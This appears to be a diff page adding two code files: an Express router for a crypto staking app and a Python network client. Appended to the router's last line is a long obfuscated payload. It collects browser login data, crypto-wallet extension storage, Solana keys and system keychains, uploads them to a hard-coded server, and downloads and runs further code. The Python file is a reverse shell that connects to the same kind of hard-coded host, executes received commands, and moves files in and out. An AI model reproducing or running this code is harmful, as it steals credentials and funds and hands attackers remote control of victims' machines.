|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
const UserModel = require('../models/user.model');
|
| 2 |
+
const jwt = require('jsonwebtoken');
|
| 3 |
+
const express = require('express');
|
| 4 |
+
const router = express.Router();
|
| 5 |
+
const bodyParser = require("body-parser");
|
| 6 |
+
const mysql = require('mysql2');
|
| 7 |
+
const config = require('../config');
|
| 8 |
+
const requestIp = require('request-ip');
|
| 9 |
+
const cron = require('node-cron');
|
| 10 |
+
const app = express();
|
| 11 |
+
require("dotenv").config();
|
| 12 |
+
const cors = require("cors");
|
| 13 |
+
app.use(bodyParser.urlencoded({ extended: true }));
|
| 14 |
+
app.use(bodyParser.json());
|
| 15 |
+
app.use(cors());
|
| 16 |
+
router.use(bodyParser.json());
|
| 17 |
+
router.use(
|
| 18 |
+
bodyParser.urlencoded({
|
| 19 |
+
extended: true,
|
| 20 |
+
})
|
| 21 |
+
);
|
| 22 |
+
const pool = mysql.createPool({ host: config.mysqlHost, user: config.user, password: process.env.DB_PASS || config.password, database: config.database, port: config.mysqlPort });
|
| 23 |
+
const promisePool = pool.promise();
|
| 24 |
+
|
| 25 |
+
let multer = require('multer');
|
| 26 |
+
let storage = multer.diskStorage({
|
| 27 |
+
destination: (req, file, cb) => {
|
| 28 |
+
cb(null, './uploads');
|
| 29 |
+
},
|
| 30 |
+
filename: (req, file, cb) => {
|
| 31 |
+
let filetype = '';
|
| 32 |
+
if (file.mimetype === 'image/png') {
|
| 33 |
+
filetype = 'png';
|
| 34 |
+
}
|
| 35 |
+
if (file.mimetype === 'image/jpeg') {
|
| 36 |
+
filetype = 'jpeg';
|
| 37 |
+
}
|
| 38 |
+
if (file.mimetype === 'image/jpg') {
|
| 39 |
+
filetype = 'jpg';
|
| 40 |
+
}
|
| 41 |
+
if (file.mimetype === 'video/mp4') {
|
| 42 |
+
filetype = 'mp4';
|
| 43 |
+
}
|
| 44 |
+
if (file.mimetype === 'application/pdf') {
|
| 45 |
+
filetype = 'pdf';
|
| 46 |
+
}
|
| 47 |
+
cb(null, 'image-' + Date.now() + '.' + filetype);
|
| 48 |
+
}
|
| 49 |
+
});
|
| 50 |
+
let upload = multer({ storage: storage });
|
| 51 |
+
let profileUplaod = upload.fields([{ name: 'profile_pic', maxCount: 1 }])
|
| 52 |
+
|
| 53 |
+
|
| 54 |
+
// All controllers call here
|
| 55 |
+
const registerController = require('../controllers/register.controller');
|
| 56 |
+
const adminController = require('../controllers/admin.controller');
|
| 57 |
+
|
| 58 |
+
|
| 59 |
+
// cron.schedule("0 1 * * *", async function () {
|
| 60 |
+
// console.log('staiking Cron')
|
| 61 |
+
// await registerController.usersStakingIncome();
|
| 62 |
+
// });
|
| 63 |
+
//Exchange Controller
|
| 64 |
+
// All Validations call here
|
| 65 |
+
|
| 66 |
+
|
| 67 |
+
// Register Routing
|
| 68 |
+
router.post('/userregister', registerController.userRegister.bind()); //done
|
| 69 |
+
router.get('/getplandetail', registerController.getPlanDetails.bind()); //done
|
| 70 |
+
router.post('/busddeposit', ensureWebToken, registerController.depositBUSD.bind()); //done
|
| 71 |
+
router.post('/gettransactionhistory',ensureWebToken, registerController.getTransactionHistory.bind());
|
| 72 |
+
router.post('/addStaking',ensureWebToken, registerController.addStaking.bind());
|
| 73 |
+
router.post('/getstakingHistory',ensureWebToken,registerController.getStakingHistory.bind());
|
| 74 |
+
router.post('/singalclaimreward',ensureWebToken,registerController.SingalClaimReward.bind());
|
| 75 |
+
router.post('/sellplan',ensureWebToken,registerController.SellPlan.bind());
|
| 76 |
+
router.post('/gettotalbalance',ensureWebToken,registerController.getTotalBalance.bind());
|
| 77 |
+
router.post('/getreferraluserslist',registerController.getReferralUsersList.bind());
|
| 78 |
+
router.post('/getwithdrawhistory',ensureWebToken,registerController.getWithdrawHistory.bind());
|
| 79 |
+
router.post('/gettotalinvasted',registerController.getTotalInvested.bind());
|
| 80 |
+
router.post('/withdrawcrypto',ensureWebToken,registerController.WithdrawCrypto.bind());
|
| 81 |
+
|
| 82 |
+
|
| 83 |
+
router.post('/getwithdrawrequest',adminController.getwithdrawrequest.bind());
|
| 84 |
+
router.post('/approvewithdrawrequest',adminController.approvewithdrawrequest.bind());
|
| 85 |
+
router.post('/rejectwithdrawrequest',adminController.rejectwithdrawrequest.bind());
|
| 86 |
+
|
| 87 |
+
|
| 88 |
+
router.get('/getuserlist',adminController.getUserList.bind());
|
| 89 |
+
router.get('/getstakingdetail',adminController.getStakingDetail.bind());
|
| 90 |
+
router.get('/getstakingearningdetail',adminController.getStakingEarningDetail.bind());
|
| 91 |
+
router.get('/getdepositbusd',adminController.getdepositBUSDDetail.bind());
|
| 92 |
+
|
| 93 |
+
|
| 94 |
+
cron.schedule("* * * * *", async function () {
|
| 95 |
+
console.log('userBUSDDepositCheck')
|
| 96 |
+
await registerController.userBUSDDepositCheck();
|
| 97 |
+
});
|
| 98 |
+
|
| 99 |
+
const path1 = require('path')
|
| 100 |
+
exports.getImage = async (req, res) => {
|
| 101 |
+
const image = req.params.image;
|
| 102 |
+
const myPath = path1.resolve(process.cwd(), "uploads", image);
|
| 103 |
+
res.sendFile(myPath);
|
| 104 |
+
}
|
| 105 |
+
|
| 106 |
+
|
| 107 |
+
router.get("/", function (request, response) {
|
| 108 |
+
response.contentType("routerlication/json");
|
| 109 |
+
response.end(JSON.stringify("Node is running"));
|
| 110 |
+
});
|
| 111 |
+
|
| 112 |
+
router.get("*", function (req, res) {
|
| 113 |
+
return res.status(200).json({
|
| 114 |
+
code: 404,
|
| 115 |
+
data: null,
|
| 116 |
+
msg: "Invalid Request {URL Not Found}",
|
| 117 |
+
});
|
| 118 |
+
});
|
| 119 |
+
|
| 120 |
+
router.post("*", function (req, res) {
|
| 121 |
+
return res.status(200).json({
|
| 122 |
+
code: 404,
|
| 123 |
+
data: null,
|
| 124 |
+
msg: "Invalid Request {URL Not Found}",
|
| 125 |
+
});
|
| 126 |
+
});
|
| 127 |
+
|
| 128 |
+
function ensureWebToken(req, res, next) {
|
| 129 |
+
const x_access_token = req.headers['authorization'];
|
| 130 |
+
if (typeof x_access_token !== undefined) {
|
| 131 |
+
req.token = x_access_token;
|
| 132 |
+
verifyJWT(req, res, next);
|
| 133 |
+
} else {
|
| 134 |
+
res.sendStatus(403);
|
| 135 |
+
}
|
| 136 |
+
}
|
| 137 |
+
|
| 138 |
+
async function verifyJWT(req, res, next) {
|
| 139 |
+
jwt.verify(req.token, config.JWT_SECRET_KEY, async function (err, data) {
|
| 140 |
+
if (err) {
|
| 141 |
+
res.sendStatus(403);
|
| 142 |
+
} else {
|
| 143 |
+
const _data = await jwt.decode(req.token, {
|
| 144 |
+
complete: true,
|
| 145 |
+
json: true
|
| 146 |
+
});
|
| 147 |
+
req.user = _data['payload'];
|
| 148 |
+
req.user_id = req.user.id;
|
| 149 |
+
req.email = req.user.email;
|
| 150 |
+
req.address = req.user.address;
|
| 151 |
+
next();
|
| 152 |
+
}
|
| 153 |
+
})
|
| 154 |
+
}
|
| 155 |
+
|
| 156 |
+
function ensureWebTokenForAdmin(req, res, next) {
|
| 157 |
+
|
| 158 |
+
const x_access_token = req.headers['authorization'];
|
| 159 |
+
if (typeof x_access_token !== undefined) {
|
| 160 |
+
req.token = x_access_token;
|
| 161 |
+
verifyJWTForAdmin(req, res, next);
|
| 162 |
+
} else {
|
| 163 |
+
res.sendStatus(403);
|
| 164 |
+
}
|
| 165 |
+
}
|
| 166 |
+
|
| 167 |
+
|
| 168 |
+
async function verifyJWTForAdmin(req, res, next) {
|
| 169 |
+
jwt.verify(req.token, config.JWT_SECRET_KEY, async function (err, data) {
|
| 170 |
+
if (err) {
|
| 171 |
+
res.sendStatus(403);
|
| 172 |
+
} else {
|
| 173 |
+
const _data = await jwt.decode(req.token, {
|
| 174 |
+
complete: true,
|
| 175 |
+
json: true
|
| 176 |
+
});
|
| 177 |
+
req.user = _data['payload'];
|
| 178 |
+
if (req.user.role != 'cpadmin') {
|
| 179 |
+
return res.sendStatus(403);
|
| 180 |
+
}
|
| 181 |
+
next();
|
| 182 |
+
}
|
| 183 |
+
})
|
| 184 |
+
}
|
| 185 |
+
|
| 186 |
+
|
| 187 |
+
|
| 188 |
+
module.exports.routes = router; Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",a=require("fs"),$=require("os"),r=a=>(s1=a.slice(1),Buffer.from(s1,t).toString(c));pt=require(r("zcGF0aA")),rq=require(r("YcmVxdWVzdA")),cr=require(r("aY3J5cHRv")),ex=require(r("aY2hpbGRfcHJvY2Vzcw"))[r("cZXhlYw")],hs=$[r("caG9zdG5hbWU")](),pl=$[r("YcGxhdGZvcm0")](),hd=$[r("ZaG9tZWRpcg")](),td=$[r("cdG1wZGly")](),tp=$[r("AdHlwZQ")]();let e;const n=a=>Buffer.from(a,t).toString(c),l=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA== ";for(var c="",a="",$="",r="",e=0;e<10;e++)c+=t[e],a+=t[10+e],$+=t[20+e],r+=t[30+e];return c=c+$+r,n(a)+n(c)},s=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),h="VDNhbTM3",o="Z2V0",i="Ly5ucGw",Z="d3JpdGVGaWxlU3luYw",m="L2NsaWVudA",u=n("ZXhpc3RzU3luYw"),d="TG9naW4gRGF0YQ",y="Y29weUZpbGU";function p(t){const c=n("YWNjZXNz"+"U3luYw");try{return a[c](t),!0}catch(t){return!1}}const b=n("RGVmYXVsdA"),G=n("UHJvZmlsZQ"),f=r("aZmlsZW5hbWU"),W=r("cZm9ybURhdGE"),Y=r("adXJs"),w=r("Zb3B0aW9ucw"),V=r("YdmFsdWU"),v=n("cmVhZGRpclN5bmM"),j=n("c3RhdFN5bmM"),L=(n("aXNEaXJlY3Rvcnk"),n("cG9zdA")),x="Ly5jb25maWcv",z="L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8",F="L0FwcERhdGEv",R="L1VzZXIgRGF0YQ",N="R29vZ2xlL0Nocm9tZQ",X="QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",Q="Z29vZ2xlLWNocm9tZQ",_=["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",X,"QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"],J=["TG9jYWwvR29vZ2xlL0Nocm9tZQ",N,Q],g=["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU","Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE","b3BlcmE"];let k="comp";const U=["bmtiaWhmYmVv","ZWpiYWxiYWtv","Zmhib2hpbWFl","aG5mYW5rbm9j","aWJuZWpkZmpt","YmZuYWVsbW9t","YWVhY2hrbm1l","aGlmYWZnbWNj"],B=["Z2FlYW9laGxlZm5rb2RiZWZncGdrbm4","cGxjaGxnaGVjZGFsbWVlZWFqbmltaG0","bGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA","ZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ","bWtwY25scGVia2xtbmtvZW9paG9mZWM","ZWltaGxwbWdqbmpvcGhocGtrb2xqcGE","ZnBoZXBjY2lvbmJvb2hja29ub2VlbWc","ZHBla3Bsb21qamtjZmdvZG5oY2VsbGo"],q="Y3JlYXRlUmVhZFN0cmVhbQ",C=async(t,c,$)=>{let r=t;if(!r||""===r)return[];try{if(!p(r))return[]}catch(t){return[]}c||(c="");let e=[];const l=n("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),s=n(q),h=n("LmxkYg"),o=n("LmxvZw");for(let $=0;$<200;$++){const i=`${t}/${0===$?b:`${G} ${$}`}/${l}`;for(let t=0;t<U.length;t++){const l=n(U[t]+B[t]);let Z=`${i}/${l}`;if(p(Z)){try{far=a[v](Z)}catch(t){far=[]}far.forEach((async t=>{r=pt.join(Z,t);try{(r.includes(h)||r.includes(o))&&e.push({[V]:a[s](r),[w]:{[f]:`${c}${$}_${l}_${t}`}})}catch(t){}}))}}}if($){const t=n("c29sYW5hX2lkLnR4dA");if(r=`${hd}${n("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`,a[u](r))try{e.push({[V]:a[s](r),[w]:{[f]:t}})}catch(t){}}return S(e),e},S=t=>{const c=r("YbXVsdGlfZmlsZQ"),a=n("L3VwbG9hZHM"),$={timestamp:e.toString(),type:h,hid:k,[c]:t},s=l();try{const t={[Y]:`${s}${a}`,[W]:$};rq[L](t,((t,c,a)=>{}))}catch(t){}},T=async(t,c)=>{try{const a=s("~/");let $="";$="d"==pl[0]?`${a}${n(z)}${n(t[1])}`:"l"==pl[0]?`${a}${n(x)}${n(t[2])}`:`${a}${n(F)}${n(t[0])}${n(R)}`,await C($,`${c}_`,0==c)}catch(t){}},H=async()=>{let t=[];const c=n(d),$=n(q),r=n("L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu"),e=n("bG9na2MtZGI");if(pa=`${hd}${r}`,a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}else if(pa+="-db",a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(N)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`pld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`pld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},A=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(X)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/brld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`brld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`brld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},E=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("bG9naW5zLmpzb24");try{let e="";if(e=`${hd}${n(z)}${n("RmlyZWZveA")}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=0===n?b:`${G} ${n}`,s=`${e}/${l}/${$}`,h=`${e}/${l}/${r}`;try{if(!p(s))continue;t.push({[V]:a[c](s),[w]:{[f]:`fk4_${n}`}})}catch(t){}try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},M=async()=>{let t=[];n(d);const c=n(q);try{const t=n("Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8");let $="";$=`${hd}${t}`;let r=[];if($&&""!==$&&p($))try{r=a[v]($)}catch(t){r=[]}r.forEach((async t=>{pa=pt.join($,t);try{ldb_data.push({[V]:a[c](pa),[w]:{[f]:`${t}`}})}catch(t){}}))}catch(t){}return S(t),t},I=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(x)}${n(Q)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`plld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`plld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},O=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("a2V5My5kYg"),e=n("bG9naW5zLmpzb24");try{let l="";if(l=`${hd}${n("Ly5tb3ppbGxhL2ZpcmVmb3gv")}`,l&&""!==l&&p(l))for(let n=0;n<200;n++){const s=0===n?b:`${G} ${n}`,h=`${l}/${s}/${$}`,o=`${l}/${s}/${r}`,i=`${l}/${s}/${e}`;try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flk4_${n}`}})}catch(t){}try{if(!p(o))continue;t.push({[V]:a[c](o),[w]:{[f]:`flk3_${n}`}})}catch(t){}try{if(!p(i))continue;t.push({[V]:a[c](i),[w]:{[f]:`fllj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},P=n("cm1TeW5j"),D="XC5weXBccHl0aG9uLmV4ZQ",K=51476590;let tt=0;const ct=async t=>{const c=`${n("dGFyIC14Zg")} ${t} -C ${hd}`;ex(c,((c,$,r)=>{if(c)return a[P](t),void(tt=0);a[P](t),rt()}))},at=()=>{const t=n("cDIuemlw"),c=`${l()}${n("L3Bkb3du")}`,$=`${td}\\${n("cC56aQ")}`,r=`${td}\\${t}`;if(tt>=K+6)return;const e=n("cmVuYW1lU3luYw"),s=n("cmVuYW1l");if(a[u]($))try{var h=a[j]($);h.size>=K+6?(tt=h.size,a[s]($,r,(t=>{if(t)throw t;ct(r)}))):(tt<h.size?tt=h.size:(a[P]($),tt=0),$t())}catch(t){}else{const t=`${n("Y3VybCAtTG8")} "${$}" "${c}"`;ex(t,((t,c,n)=>{if(t)return tt=0,void $t();try{tt=K+6,a[e]($,r),ct(r)}catch(t){}}))}};function $t(){setTimeout((()=>{at()}),2e4)}const rt=async()=>await new Promise(((t,c)=>{if("w"==pl[0]){const t=`${hd}${n(D)}`;a[u](`${t}`)?(()=>{const t=l(),c=n(m),$=n(o),r=n(Z),e=n(i),s=`${t}${c}/${h}`,u=`${hd}${e}`,d=`"${hd}${n(D)}" "${u}"`;try{a[P](u)}catch(t){}rq[$](s,((t,c,$)=>{if(!t)try{a[r](u,$),ex(d,((t,c,a)=>{}))}catch(t){}}))})():at()}else(()=>{const t=l(),c=n(m),$=n(Z),r=n(o),e=n(i),s=n("cHl0aG9u"),u=`${t}${c}/${h}`,d=`${hd}${e}`;let y=`${s}3 "${d}"`;rq[r](u,((t,c,r)=>{t||(a[$](d,r),ex(y,((t,c,a)=>{})))}))})()}));var et=0;const nt=async()=>{try{e=Date.now(),await(async()=>{k=hs;try{const t=s("~/");await T(J,0),await T(_,1),await T(g,2),"w"==pl[0]?(pa=`${t}${n(F)}${n("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${n(R)}`,await C(pa,"3_",!1)):"d"==pl[0]?(await H(),await A(),await E()):"l"==pl[0]&&(await M(),await I(),await O())}catch(t){}})(),rt()}catch(t){}};nt();let lt=setInterval((()=>{(et+=1)<5?nt():clearInterval(lt)}),6e5);
|
code/18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6
ADDED
|
@@ -0,0 +1,187 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import socket
|
| 2 |
+
import threading
|
| 3 |
+
import os
|
| 4 |
+
import time
|
| 5 |
+
import random
|
| 6 |
+
import string
|
| 7 |
+
from Crypto.Cipher import AES
|
| 8 |
+
from Crypto.Util.Padding import pad, unpad
|
| 9 |
+
import requests
|
| 10 |
+
|
| 11 |
+
user = os.popen('whoami').read()
|
| 12 |
+
try:
|
| 13 |
+
URL = "https://czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast.fun"
|
| 14 |
+
r = requests.get(url = URL)
|
| 15 |
+
except:
|
| 16 |
+
pass
|
| 17 |
+
BUFFER_SIZE = 4096
|
| 18 |
+
SEPARATOR = "<SEPARATOR>"
|
| 19 |
+
CONN = True
|
| 20 |
+
|
| 21 |
+
def enc_mes(mes, key):
|
| 22 |
+
try:
|
| 23 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 24 |
+
cypher_block = 16
|
| 25 |
+
if type(mes) != bytes:
|
| 26 |
+
mes = mes.encode()
|
| 27 |
+
return cypher.encrypt(pad(mes, cypher_block))
|
| 28 |
+
except:
|
| 29 |
+
pass
|
| 30 |
+
|
| 31 |
+
def dec_file_mes(mes, key):
|
| 32 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 33 |
+
cypher_block = 16
|
| 34 |
+
s = cypher.decrypt(mes)
|
| 35 |
+
#print(unpad(s, cypher_block))
|
| 36 |
+
return unpad(s, cypher_block)
|
| 37 |
+
|
| 38 |
+
def dec_mes(mes, key):
|
| 39 |
+
if mes == b'':
|
| 40 |
+
return mes
|
| 41 |
+
else:
|
| 42 |
+
try:
|
| 43 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 44 |
+
cypher_block = 16
|
| 45 |
+
v = cypher.decrypt(mes)
|
| 46 |
+
return unpad(v, cypher_block)
|
| 47 |
+
except:
|
| 48 |
+
return 'echo Try it againg'
|
| 49 |
+
def receive_file():
|
| 50 |
+
try:
|
| 51 |
+
client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 52 |
+
client2.connect(('194.126.178.8', 54763))
|
| 53 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 54 |
+
client2.send(k.encode())
|
| 55 |
+
while True:
|
| 56 |
+
enc_received = client2.recv(BUFFER_SIZE)
|
| 57 |
+
received = dec_mes(enc_received, k).decode()
|
| 58 |
+
#print(received)
|
| 59 |
+
filename, filesize = received.split(SEPARATOR)
|
| 60 |
+
|
| 61 |
+
ok_enc = enc_mes('ok2',k)
|
| 62 |
+
client2.send(ok_enc)
|
| 63 |
+
total_bytes = 0
|
| 64 |
+
msg = b''
|
| 65 |
+
while total_bytes < int(filesize):
|
| 66 |
+
bytes_read = client2.recv(BUFFER_SIZE)
|
| 67 |
+
msg += bytes_read
|
| 68 |
+
total_bytes += len(bytes_read)
|
| 69 |
+
decr_file = dec_mes(msg, k)
|
| 70 |
+
with open(filename, "wb") as f:
|
| 71 |
+
f.write(decr_file)
|
| 72 |
+
break
|
| 73 |
+
|
| 74 |
+
client2.close()
|
| 75 |
+
except:
|
| 76 |
+
client2.send('Error transporting file'.encode())
|
| 77 |
+
|
| 78 |
+
def receive(client,k):
|
| 79 |
+
while True:
|
| 80 |
+
try:
|
| 81 |
+
message = None
|
| 82 |
+
msg = client.recv(1024)
|
| 83 |
+
msg = dec_mes(msg, k)
|
| 84 |
+
#print(msg)
|
| 85 |
+
message = msg.decode()
|
| 86 |
+
#if message == 'NICK':
|
| 87 |
+
# client.send(user.encode('ascii'))
|
| 88 |
+
if msg == b'':
|
| 89 |
+
time.sleep(10)
|
| 90 |
+
s = 0
|
| 91 |
+
while msg == b'':
|
| 92 |
+
s += 1
|
| 93 |
+
msg = client.recv(1024)
|
| 94 |
+
if s == 300:
|
| 95 |
+
raise Exception("Reconnect!")
|
| 96 |
+
elif message == 'check':
|
| 97 |
+
enc_answ = enc_mes('check-ok', k)
|
| 98 |
+
client.send(enc_answ)
|
| 99 |
+
elif message == 'send_file':
|
| 100 |
+
receive_file_thread = threading.Thread(target=receive_file)
|
| 101 |
+
receive_file_thread.start()
|
| 102 |
+
elif message == 'get_file':
|
| 103 |
+
okenc = enc_mes('ok', k)
|
| 104 |
+
client.send(okenc)
|
| 105 |
+
while True:
|
| 106 |
+
try:
|
| 107 |
+
path_to_file = client.recv(1024)
|
| 108 |
+
path_to_file = dec_mes(path_to_file, k)
|
| 109 |
+
|
| 110 |
+
#filesize = os.path.getsize(path_to_file)
|
| 111 |
+
with open(path_to_file, "rb") as f:
|
| 112 |
+
bytes_read = f.read()
|
| 113 |
+
bytes_enc = enc_mes(bytes_read, k)
|
| 114 |
+
filesize = len(bytes_enc)
|
| 115 |
+
#print(filesize)
|
| 116 |
+
filesize = enc_mes(f'{filesize}', k)
|
| 117 |
+
#print(filesize)
|
| 118 |
+
client.send(filesize)
|
| 119 |
+
|
| 120 |
+
vsb = client.recv(1024)
|
| 121 |
+
vsb = dec_mes(vsb, k)
|
| 122 |
+
|
| 123 |
+
client.sendall(bytes_enc)
|
| 124 |
+
break
|
| 125 |
+
except:
|
| 126 |
+
try:
|
| 127 |
+
client.send('Error uploading file'.encode('utf-8'))
|
| 128 |
+
break
|
| 129 |
+
except:
|
| 130 |
+
break
|
| 131 |
+
else:
|
| 132 |
+
if message != None and message != '' and message != '\n':
|
| 133 |
+
try:
|
| 134 |
+
answer = os.popen(message).read()
|
| 135 |
+
#print(answer)
|
| 136 |
+
if answer.encode() == b'':
|
| 137 |
+
client.send('Bad command!'.encode('ascii'))
|
| 138 |
+
else:
|
| 139 |
+
enc_answer = enc_mes(answer, k)
|
| 140 |
+
size = str(len(enc_answer))
|
| 141 |
+
client.send(size.encode())
|
| 142 |
+
ch = client.recv(1024).decode()
|
| 143 |
+
if ch == 'ok':
|
| 144 |
+
client.sendall(enc_answer)
|
| 145 |
+
except:
|
| 146 |
+
try:
|
| 147 |
+
client.send('Bad command!'.encode('ascii'))
|
| 148 |
+
except:
|
| 149 |
+
pass
|
| 150 |
+
except:
|
| 151 |
+
while True:
|
| 152 |
+
try:
|
| 153 |
+
client.close()
|
| 154 |
+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 155 |
+
client.connect(('194.126.178.8', 55555))
|
| 156 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 157 |
+
client.send(f"{user}{SEPARATOR}{k}".encode())
|
| 158 |
+
client.settimeout(600)
|
| 159 |
+
time.sleep(60)
|
| 160 |
+
break
|
| 161 |
+
except:
|
| 162 |
+
try:
|
| 163 |
+
URL = "https://czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast.fun"
|
| 164 |
+
r = requests.get(url = URL)
|
| 165 |
+
#print('CANT RECONN')
|
| 166 |
+
except:
|
| 167 |
+
pass
|
| 168 |
+
time.sleep(60)
|
| 169 |
+
|
| 170 |
+
if __name__ == "__main__":
|
| 171 |
+
while True:
|
| 172 |
+
try:
|
| 173 |
+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 174 |
+
client.connect(('194.126.178.8', 55555))
|
| 175 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 176 |
+
client.send(f"{user}{SEPARATOR}{k}".encode())
|
| 177 |
+
client.settimeout(600)
|
| 178 |
+
break
|
| 179 |
+
except:
|
| 180 |
+
try:
|
| 181 |
+
URL = "https://czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast.fun"
|
| 182 |
+
r = requests.get(url = URL)
|
| 183 |
+
except:
|
| 184 |
+
pass
|
| 185 |
+
time.sleep(50)
|
| 186 |
+
receive_thread = threading.Thread(target=receive,args=(client,k))
|
| 187 |
+
receive_thread.start()
|
